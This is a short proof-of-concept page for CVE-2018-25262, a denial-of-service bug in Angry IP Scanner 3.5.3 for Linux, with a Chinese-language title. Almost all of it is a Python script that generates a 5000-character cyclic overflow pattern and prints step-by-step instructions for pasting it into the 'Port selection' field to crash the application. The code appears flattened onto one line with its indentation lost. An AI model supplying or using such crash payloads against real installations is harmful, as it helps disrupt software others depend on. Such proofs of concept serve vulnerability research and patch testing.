CVE-2018-25262 Angry IP Scanner 拒绝服务漏洞

# Proof of Concept (PoC) for CVE-2018-25262 # This script generates a pattern string that can trigger a DoS in Angry IP Scanner 3.5.3 def generate_pattern(length): """Generates a cyclic pattern to help identify buffer offsets or crash the app.""" pattern = "" upper = "ABCDEFGHIJKLMNOPQRSTUVWXYZ" lower = "abcdefghijklmnopqrstuvwxyz" digits = "0123456789" # Basic pattern generation logic similar to Metasploit pattern_create.rb while len(pattern) < length: for i in range(len(upper)): for j in range(len(lower)): for k in range(len(digits)): if len(pattern) >= length: return pattern pattern += upper[i] + lower[j] + digits[k] return pattern if __name__ == "__main__": # Adjust length based on buffer size (5000 is a safe starting point for GUI fields) payload_length = 5000 payload = generate_pattern(payload_length) print(f"[+] Generated payload of length: {len(payload)}") print("[+] Steps to reproduce:") print("1. Open Angry IP Scanner for Linux 3.5.3") print("2. Go to Preferences -> Ports") print("3. Copy the string below and paste it into the 'Port selection' field") print("4. The application should crash immediately upon processing the input.") print("\n--- Payload ---") print(payload)